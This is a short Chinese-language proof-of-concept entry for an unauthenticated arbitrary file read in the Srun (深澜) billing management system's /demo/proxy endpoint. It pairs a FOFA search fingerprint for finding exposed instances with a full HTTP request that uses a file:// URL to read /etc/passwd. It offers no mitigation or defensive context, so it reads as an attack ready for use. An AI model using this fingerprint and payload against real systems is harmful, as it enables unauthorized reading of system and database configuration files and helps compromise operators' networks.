S24-1深澜-计费管理系统-任意文件读取

漏洞描述：

深澜计费管理系统 /demo/proxy接口处存在任意文件读取漏洞，未经身份验证的攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：

网络测绘：

fofa语法：

FOFA：body="/js/lib/slimscroll.js"

漏洞复现：

payload：

```
GET /demo/proxy?url=file:///etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
```

效果图: